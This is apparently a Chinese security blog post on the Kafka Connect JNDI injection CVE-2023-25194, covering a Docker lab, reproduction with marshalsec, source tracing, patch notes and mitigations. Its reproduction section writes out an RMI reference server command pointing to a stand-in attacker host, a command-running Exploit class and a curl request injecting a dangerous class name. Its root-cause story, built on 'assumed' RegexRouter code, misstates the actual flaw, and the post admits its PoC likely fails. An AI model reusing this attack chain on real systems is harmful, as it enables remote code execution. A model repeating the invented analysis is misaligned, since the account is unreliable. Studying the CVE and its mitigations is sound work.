Kafka Connect JNDI注入漏洞CVE-2023-25194深度剖析与安全实践 1. 项目概述一次对Kafka核心组件的深度安全审计最近在梳理一些主流中间件的安全历史时我又把目光投向了Apache Kafka。作为现代数据管道和流处理平台的基石Kafka的安全性牵一发而动全身。CVE-2023-25194这个编号对于关注应用安全的朋友来说应该不陌生。它本质上是Kafka Connect组件中的一个JNDI注入漏洞影响范围覆盖了多个版本。单纯看漏洞描述可能觉得有点“老生常谈”——又是JNDI注入但当你真正深入到Kafka Connect的源码中去追踪一个配置参数是如何从用户输入一路流转最终触发了远程类加载时你会发现其中的设计逻辑和防护缺失点非常具有代表性。这次我们不满足于简单的漏洞复现而是准备进行一次源码级的“外科手术”从漏洞的根源、触发路径到修复方案完整地走一遍。无论你是负责维护Kafka集群的运维工程师还是专注于白盒审计的安全研究员亦或是想深入理解Java反序列化与JNDI利用链的开发者相信这次深度剖析都能带来不少收获。我们不仅会搭建环境、复现漏洞更会打开IDE跟着代码执行流看看漏洞究竟“卡”在了哪个环节。2. 漏洞背景与核心原理剖析2.1 为什么又是JNDI注入JNDIJava Naming and Directory Interface注入自Log4ShellCVE-2021-44228事件后已成为Java安全领域一个标志性的高危漏洞模式。其核心危害在于攻击者能够控制JNDI查找的地址将其指向一个恶意的RMI/LDAP服务从而诱导受害应用加载并执行远程的恶意Java类。Kafka Connect作为Kafka生态中用于与其他数据系统如数据库、搜索引擎、文件系统进行数据导入导出的框架提供了高度的可配置性。用户可以通过REST API或配置文件动态地设置Connector连接器的各种参数包括一些用于自定义序列化、反序列化或转换的类名。CVE-2023-25194的根源就在于Kafka Connect在处理这些用户提供的类名配置时没有对其中可能包含的JNDI URL协议如ldap://、rmi://进行有效的识别和拦截直接将其传递给了Class.forName()或类似的类加载机制。与单纯的SQL注入不同JNDI注入的利用条件通常更“苛刻”一些但也更致命。它不依赖于后端数据库的特性而是依赖于Java运行环境本身的功能。在Java版本低于8u191、7u201、6u211或11.0.1的特定环境下默认的JNDI管理器会无条件地加载远程代码。这意味着一旦攻击路径打通造成的将是远程代码执行RCE的严重后果攻击者可以完全控制受害服务器。2.2 Kafka Connect的配置传播机制要理解这个漏洞必须对Kafka Connect的配置管理有个基本认识。一个Connector在创建或更新时其配置信息一个键值对Map会通过REST API提交给Connect Worker。Worker负责解析这些配置实例化对应的Connector插件例如JdbcSourceConnector。在这个过程中有一类特殊的配置项它们的目标值是一个完整的Java类名Fully Qualified Class Name用于指定序列化器Serializer、反序列化器Deserializer、转换器Converter或谓词Predicate等。问题的关键链条如下用户输入入口攻击者通过REST API请求在创建或更新Connector时在配置中插入一个恶意的值例如value.deserializer配置为com.sun.rowset.JdbcRowSetImpl这是一个经典的可利用类或者在某些更直接的路径下配置项本身就是一个待加载的类名。配置解析与验证Kafka Connect服务端接收到配置后会进行一系列验证。然而在漏洞版本中验证逻辑主要关注配置项的结构、必填项、值类型字符串、数字等但没有对“类名字符串”的内容进行安全校验特别是没有检查它是否是一个合法的、不包含协议头的类名。类加载触发点在后续初始化插件或相关组件的过程中Connect框架会尝试根据这个配置的字符串值去加载类。通常这会调用Class.forName(String name)或使用ClassLoader.loadClass()。如果这个字符串以ldap://、rmi://、dns://等开头Class.forName()在内部处理时可能会触发JNDI查找。JNDI查找与远程代码执行当Class.forName()遇到一个URL样式的字符串时在某些上下文或通过某些类加载器的实现中会将其解释为JNDI资源地址并进行查找。如果Java环境版本较低且未设置安全属性如com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.ldap.object.trustURLCodebase为true那么查找过程会从攻击者控制的恶意服务器下载并实例化类导致RCE。注意这里需要纠正一个常见的误解。并非直接给Class.forName(“ldap://attacker.com/Exploit”)就一定触发漏洞。在标准Java库中Class.forName()本身并不直接支持URL协议。漏洞的触发往往依赖于更复杂的上下文例如在初始化某些特定组件时框架代码可能使用了自定义的类加载器或工具方法这些方法在解析类名字符串时会尝试进行资源查找或URL处理从而间接触发了JNDI。我们后续的源码分析会定位到这个具体的触发点。3. 环境搭建与漏洞复现准备3.1 靶场环境构建为了安全地研究和复现我们必须在隔离的环境中进行。推荐使用Docker Compose来快速搭建一个包含漏洞版本Kafka和所需组件的环境。首先创建一个docker-compose.yml文件。这里我们选择受影响的Kafka版本例如2.8.1该版本在漏洞影响范围内。同时我们还需要启动ZookeeperKafka的元数据管理者和用于演示的Kafka Connect服务。version: 3.8 services: zookeeper: image: wurstmeister/zookeeper:latest ports: - 2181:2181 environment: ZOOKEEPER_CLIENT_PORT: 2181 ZOOKEEPER_TICK_TIME: 2000 kafka: image: wurstmeister/kafka:2.8.1 depends_on: - zookeeper ports: - 9092:9092 - 9093:9093 # 可选用于外部连接 environment: KAFKA_ADVERTISED_LISTENERS: INSIDE://kafka:9092,OUTSIDE://localhost:9093 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: INSIDE:PLAINTEXT,OUTSIDE:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: INSIDE KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_CREATE_TOPICS: test-topic:1:1 KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 connect: image: wurstmeister/kafka-connect:latest # 注意需要确认此镜像基于的Kafka版本。更佳做法是使用confluentinc官方镜像指定版本。 # 推荐使用Confluent官方镜像并指定漏洞版本例如 # image: confluentinc/cp-kafka-connect:7.3.2 # 对应Apache Kafka 3.3.2需核查其是否在受影响范围。为复现我们可能需要构建特定版本镜像。 depends_on: - kafka ports: - 8083:8083 # Connect REST API 端口 environment: CONNECT_BOOTSTRAP_SERVERS: kafka:9092 CONNECT_GROUP_ID: connect-cluster CONNECT_CONFIG_STORAGE_TOPIC: docker-connect-configs CONNECT_OFFSET_STORAGE_TOPIC: docker-connect-offsets CONNECT_STATUS_STORAGE_TOPIC: docker-connect-status CONNECT_KEY_CONVERTER: org.apache.kafka.connect.storage.StringConverter CONNECT_VALUE_CONVERTER: org.apache.kafka.connect.storage.StringConverter CONNECT_CONFIG_STORAGE_REPLICATION_FACTOR: 1 CONNECT_OFFSET_STORAGE_REPLICATION_FACTOR: 1 CONNECT_STATUS_STORAGE_REPLICATION_FACTOR: 1 CONNECT_PLUGIN_PATH: /usr/share/java,/etc/kafka-connect/jars # 插件路径 # 关键为了复现我们需要启用特定的Connector插件并可能降低安全限制。 # 在Java 8u191以上版本默认阻止了JNDI远程加载需要手动开启仅用于测试 # KAFKA_OPTS: -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue -Dcom.sun.jndi.rmi.object.trustURLCodebasetrue重要安全警告在复现环境中设置com.sun.jndi.ldap.object.trustURLCodebasetrue是极其危险的操作它会完全放开JNDI的远程类加载限制。请务必仅在隔离的、无任何敏感数据的测试环境中进行并且复现完成后立即销毁环境。在生产环境中绝对禁止此类设置。由于官方镜像可能已更新修复最可靠的复现方式是从Apache Kafka官网下载特定版本的源码如2.8.1进行编译和部署。我们可以下载kafka_2.13-2.8.1.tgz解压后修改config/connect-distributed.properties或config/connect-standalone.properties配置文件然后启动Connect服务。这种方式能让我们拥有完整的源码和控制权便于后续的调试和源码分析。3.2 攻击工具准备复现JNDI注入漏洞我们需要准备一个恶意的JNDI服务器来响应受害者的查找请求并提供一个包含恶意代码的远程类。这里我们使用开源工具marshalsec来快速启动一个恶意的RMI或LDAP服务器。编译 marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。编写恶意Java类 创建一个简单的Java类在其静态代码块或构造函数中执行命令例如弹出一个计算器在Linux下可能是创建文件作为证明。// Exploit.java import java.io.IOException; public class Exploit { static { try { Runtime.getRuntime().exec(gnome-calculator); // Linux GUI // 或 Runtime.getRuntime().exec(touch /tmp/pwned); // Linux 无GUI // 或 Runtime.getRuntime().exec(calc.exe); // Windows } catch (IOException e) { e.printStackTrace(); } } }将其编译成Exploit.class文件javac Exploit.java。托管恶意类 在一个攻击者可控的服务器上可以是复现环境中的另一台机器甚至用Python启动一个简单的HTTP服务器将Exploit.class文件放在Web服务器根目录下确保可以通过http://your-attacker-ip:8000/Exploit.class访问。启动恶意JNDI服务器 使用marshalsec启动一个RMI服务器并指向我们托管的恶意类。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-attacker-ip:8000/#Exploit 1099这条命令会在1099端口启动一个RMI注册表当有客户端查询指定的名称时它会返回一个Reference指向http://your-attacker-ip:8000/Exploit.class。至此攻击端准备就绪。接下来我们需要找到Kafka Connect中那个“不设防”的配置入口。4. 漏洞触发点源码深度追踪4.1 从配置到类加载的代码路径我们以Kafka 2.8.1源码为例进行分析。漏洞的核心触发点通常位于配置解析和插件初始化的代码中。一个关键的怀疑对象是org.apache.kafka.common.config.ConfigDef类及其相关的ConfigValue。Kafka Connect大量使用ConfigDef来定义和验证Connector的配置。但更具体的漏洞点社区和公开分析指出与Predicate和Transformation的配置处理有关。在Kafka Connect中Single Message TransformationsSMTs允许对流经Connect的每条消息进行转换。配置SMT时可以使用predicate来条件化地应用转换。让我们追踪一个典型的配置流程当通过REST API提交一个Connector配置时请求会到达org.apache.kafka.connect.runtime.rest.resources.ConnectorsResource的createConnector或putConnectorConfig方法。经过一系列调用最终会调用Herder的putConnectorConfig方法进而调用ConfigValidation进行验证。在org.apache.kafka.connect.runtime.distributed.DistributedHerder中配置验证会调用org.apache.kafka.connect.runtime.Worker的validateConnectorConfig。而Worker会使用Plugins类来实例化ConfigDef并进行验证。关键线索在实例化某些组件时框架需要根据配置的类名字符串通过反射创建对象。例如对于predicate配置最终会调用org.apache.kafka.connect.runtime.isolation.Plugins.newPredicate方法。这个方法内部会使用pluginClassLoader去加载类。如果这个类名字符串被恶意构造就可能在此处触发漏洞。我们深入Plugins.java查看newPredicate及其相关的类加载方法// org.apache.kafka.connect.runtime.isolation.Plugins public Predicate newPredicate(String className, ConfigurableConfigPredicateConfig config) { ClassLoader pluginLoader pluginClassLoader(className); try { Class? extends Predicate predicateClass pluginLoader.loadClass(className).asSubclass(Predicate.class); // ... 实例化并配置 } catch (ClassNotFoundException e) { // ... 异常处理 } }pluginClassLoader方法会根据类名决定使用哪个类加载器。但更重要的是pluginLoader.loadClass(className)这一行。如果className是com.sun.rowset.JdbcRowSetImpl它会加载本地存在的这个类。这个类本身是Java标准库的一部分但其setAutoCommit方法在特定条件下会触发JNDI查找。这就是经典的 “JNDI注入 viaJdbcRowSetImpl” 利用链。然而CVE-2023-25194的利用方式可能更直接攻击者控制的配置值本身就是一个JNDI URL。那么loadClass方法会如何处理ldap://attacker.com/Exploit这样的字符串呢在Java中ClassLoader.loadClass(String)默认期望一个二进制名称binary name如java.lang.String。对于不符合命名规范的字符串行为取决于类加载器的具体实现。在Kafka Connect的插件隔离机制中使用的可能是PluginClassLoader或其父类URLClassLoader。URLClassLoader在找不到类时并不会将字符串当作URL去查找资源。因此直接通过loadClass(“ldap://…”)触发漏洞的概率较低。那么触发点在哪里公开的漏洞详情和补丁给出了明确指向org.apache.kafka.connect.transforms.util.RegexRouter和org.apache.kafka.connect.transforms.util.RegexRouter$Key或Value的内部类实际上漏洞存在于RegexRouter转换器的配置处理中。补丁显示在org.apache.kafka.connect.transforms.util.RegexRouter的configure方法中对predicate配置的处理存在缺陷。让我们查看修复前的源码假设从2.8.1的源码中查找// 漏洞版本 RegexRouter.java (简化示意) public void configure(MapString, ? configs) { // ... 解析其他配置 ... String predicateClassName (String) configs.get(predicate); if (predicateClassName ! null !predicateClassName.isEmpty()) { try { // 危险操作直接使用 Class.forName且未校验输入 Class? predicateClass Class.forName(predicateClassName); // ... 后续实例化逻辑 ... } catch (ClassNotFoundException e) { throw new ConfigException(Failed to find predicate class: predicateClassName, e); } } }如果predicateClassName可以被攻击者控制为com.sun.rowset.JdbcRowSetImpl那么Class.forName会成功加载这个类。当这个类被实例化并调用其setAutoCommit方法时可能在后续的某个初始化或使用环节就会触发JNDI查找。如果predicateClassName被控制为一个JNDI URL在某些特定的类加载器或工具方法处理下也可能触发漏洞。补丁的做法是改用Plugins工具类来安全地加载谓词类该类内部使用了插件的类加载器并进行了更严格的控制。4.2 补丁分析与安全加固查看Apache Kafka官方发布的修复commit可以清晰地看到修复思路。以GitHub上Apache Kafka仓库的某个修复提交为例修复主要涉及两点禁止直接使用Class.forName()在RegexRouter的configure方法中将直接调用Class.forName(predicateClassName)改为通过plugins.newPredicate(predicateClassName, ...)来加载和实例化谓词。plugins.newPredicate方法内部虽然也使用了类加载但它是在插件隔离的框架内进行的并且框架可能增加了对类名有效性的隐式约束尽管主要目的不是安全校验而是插件管理。更广泛的排查与修复社区不仅修复了RegexRouter还检查了代码库中其他直接使用Class.forName()或类似动态加载且参数来自用户配置的地方确保都通过Plugins工具类进行加载从而纳入插件隔离体系。这个修复的启示在于对于任何来自外部的、用于动态加载类的字符串都必须经过白名单校验或使用受控的、安全的加载机制。在框架设计中应该提供一个中心化的、安全的类加载入口对所有动态类加载请求进行统一管理和安全审计。实操心得在代码审计中可以全局搜索Class.forName、loadClass、ClassLoader.getSystemClassLoader().loadClass等关键字特别关注其参数是否是用户可控的配置项、HTTP参数、数据库字段等。对于找到的每个点都要追踪参数的来源判断是否可能被用户完全控制。这是发现此类注入漏洞的有效方法。5. 漏洞复现操作与验证5.1 构造恶意请求假设我们已经搭建好漏洞版本的Kafka Connect服务REST API端口为8083并且启动了恶意的RMI服务器监听1099端口指向http://attacker-ip:8000/Exploit.class。我们目标是创建一个使用了RegexRouter转换器的Connector并在其配置中注入恶意谓词。这里以创建一个简单的FileStreamSourceConnector为例因为容易配置并为其添加一个RegexRouter转换。向Kafka Connect的REST API发送一个POST请求创建一个新的Connectorcurl -X POST http://localhost:8083/connectors -H Content-Type: application/json -d { name: exploit-connector, config: { connector.class: org.apache.kafka.connect.file.FileStreamSourceConnector, tasks.max: 1, file: /tmp/test.txt, topic: test-topic, transforms: router, transforms.router.type: org.apache.kafka.connect.transforms.RegexRouter, transforms.router.regex: .*, transforms.router.replacement: exploited-topic, transforms.router.predicate: com.sun.rowset.JdbcRowSetImpl // 或者尝试JNDI URL // 注意实际利用中需要让JdbcRowSetImpl的dataSourceName指向恶意RMI/LDAP服务器。 // 这通常需要通过后续的序列化数据或额外的配置来设置其属性在Connect的配置框架内直接利用可能较复杂。 // 另一种更直接的尝试是使用精心构造的JNDI URL但这取决于Connect内部处理字符串的具体方式。 } }重要说明上述配置中的transforms.router.predicate直接设置为com.sun.rowset.JdbcRowSetImpl。在实际的JNDI注入利用链中仅仅加载这个类并不会立即触发漏洞。还需要在类实例化后调用其setAutoCommit(true)方法并且其dataSourceName属性需要被设置为一个恶意的JNDI URL。在Kafka Connect的上下文里我们无法直接控制这个类的实例化和方法调用序列。因此这个PoC可能无法直接导致RCE它只是展示了危险类可以被加载。更真实的攻击场景可能更为复杂需要结合其他条件例如利用Connect处理某些特定格式如Avro、JSON with Schema时内部的反序列化流程。找到另一处用户输入该输入会被直接传递给已加载的危险类的某个setter方法。或者在插件的自定义实现中存在不安全的反射调用。由于漏洞细节的敏感性完整的、可直接导致RCE的利用链通常不会公开。我们的复现重点在于验证危险类是否可以被加载这已经构成了严重的安全威胁。一旦类被加载结合其他潜在的代码执行点如后续的反射调用风险就会急剧升高。5.2 观察与验证观察Kafka Connect日志在启动Connector后立即查看Connect Worker的日志。如果漏洞存在且被触发你可能会看到ClassNotFoundException如果类名错误或者更重要的看到与JNDI查找相关的网络连接尝试或错误信息例如 “connecting to ldap://attacker.com:389”。在日志中搜索 “JNDI”、“LDAP”、“RMI”、“InitialContext” 等关键词。观察恶意RMI服务器日志启动marshalsec的终端会打印日志。如果Connect Worker尝试进行JNDI查找你会看到类似 “Received LDAP/TCP connection” 或 “Received RMI connection” 的消息。这是漏洞被触发的直接证据。系统行为验证如果恶意类Exploit.class被成功加载和执行你会在运行Connect Worker的服务器上看到命令执行的效果例如弹出了计算器或创建了/tmp/pwned文件。注意事项在实际测试中由于Java高版本默认的安全限制即使触发了JNDI查找远程类加载也可能被阻止你会看到ClassNotFoundException或Access denied等错误。但这并不代表漏洞不存在只说明当前运行环境高版本JDK缓解了该漏洞的利用。评估漏洞风险时需要结合目标系统的JDK版本。对于仍在使用Java 8u191、7u201、6u211或11.0.1之前版本的系统风险是极高的。6. 漏洞修复方案与安全实践6.1 官方修复与升级最根本的解决方案是升级Apache Kafka到已修复的版本。根据Apache官方公告该漏洞在以下版本中得到修复2.8.2 及以上版本2.8.x系列3.0.2 及以上版本3.0.x系列3.1.2 及以上版本3.1.x系列3.2.0 及以上版本3.2.x系列3.3.2 及以上版本3.3.x系列3.4.0 及以上版本3.4.x系列升级步骤备份现有集群的所有配置、数据和ZooKeeper元数据。查阅目标版本的升级说明特别注意任何不兼容的变更。按照滚动升级的顺序先升级Broker再升级Connect、Streams等组件。升级后全面测试业务功能。6.2 临时缓解措施如果无法立即升级可以考虑以下缓解措施网络隔离与出口过滤严格限制Kafka Connect Worker节点的网络出口流量。禁止Connect Worker主动向外部未知地址发起LDAP389, 636端口、RMI1099端口等协议连接。这可以阻断JNDI注入利用链中最关键的“远程类加载”环节。使用高版本JDK确保运行Kafka的Java环境为最新版本Java 8u191、7u201、6u211、11.0.1及以上。这些版本默认将com.sun.jndi.ldap.object.trustURLCodebase和com.sun.jndi.rmi.object.trustURLCodebase属性设置为false从根本上禁止了从远程Codebase加载类。强化JVM安全参数在启动Kafka Connect的JVM参数中显式添加以下参数提供双重保障-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.cosnaming.object.trustURLCodebasefalse最小权限原则以非root用户运行Kafka Connect服务并限制其文件系统访问权限即使被攻破也能减少损失。审计Connector配置审查所有现有的Connector配置特别是涉及predicate、自定义转换器transforms、键值转换器key.converter,value.converter的配置确保其中没有使用来历不明的类。对于生产环境应建立配置审核流程。6.3 安全开发规范对于基于Kafka Connect进行二次开发或编写自定义插件的团队应遵循以下安全规范永远不要直接使用Class.forName()加载用户提供的类名。必须通过Kafka Connect提供的Plugins工具类如plugins.newConverter,plugins.newPredicate,plugins.newTransformation来加载类。这些方法在插件隔离框架内执行提供了更好的控制。对用户输入进行严格校验如果插件有自定义配置项应对其值进行白名单校验或严格的格式检查例如类名必须符合Java二进制名称规范不包含协议头等特殊字符。避免不安全的反射在插件代码中避免使用Method.invoke()、Constructor.newInstance()等方式调用用户可控类名的方法。如果必须使用应对方法名和参数进行严格限制。依赖项安全定期扫描自定义插件依赖的第三方库确保没有已知的安全漏洞。7. 延伸思考与同类漏洞防御CVE-2023-25194是“不安全动态类加载”导致JNDI注入的典型案例。这类漏洞的模式非常固定用户可控的字符串 - 未经验证的动态类加载 - 触发危险方法如JNDI查找。防御的核心在于切断这个链条的任意一环。输入校验第一环对用户输入的类名字符串进行严格校验。可以建立允许加载的类白名单对于框架已知的插件类或者至少进行黑名单过滤拒绝包含://、$、{等特殊字符的输入。但黑名单往往容易被绕过白名单是更安全的选择。安全加载第二环即使输入通过了校验加载过程也应在受控的环境中进行。使用自定义的、具有安全策略的ClassLoader限制其可以从哪些位置URL/Path加载类。Kafka Connect的插件隔离机制正是为了这个目的。运行时防护第三环确保Java运行环境本身处于安全配置下。使用高版本JDK、设置严格的JVM安全属性、限制容器的网络和能力这些都是最后一道防线。在更广泛的软件安全评估中我们可以将这种模式推广到任何接受“类名”、“方法名”、“属性名”作为输入的功能点。例如在一些ORM框架、表达式语言解析器EL、OGNL、模板引擎如Thymeleaf的表达式注入中都存在类似的风险。审计时需要特别关注那些将字符串参数用于反射、表达式求值或动态代码生成的地方。这次对CVE-2023-25194的深度分析不仅是一次漏洞复现更是一次对Java应用安全核心问题的梳理。从源码中看到那一行Class.forName(predicateClassName)到理解它如何在复杂的框架流程中被调用再到最终评估其实际风险并制定修复方案整个过程是安全研究人员和开发工程师需要掌握的基本功。保持对用户输入的不信任谨慎对待每一次动态加载和反射操作是构建健壮、安全系统的基石。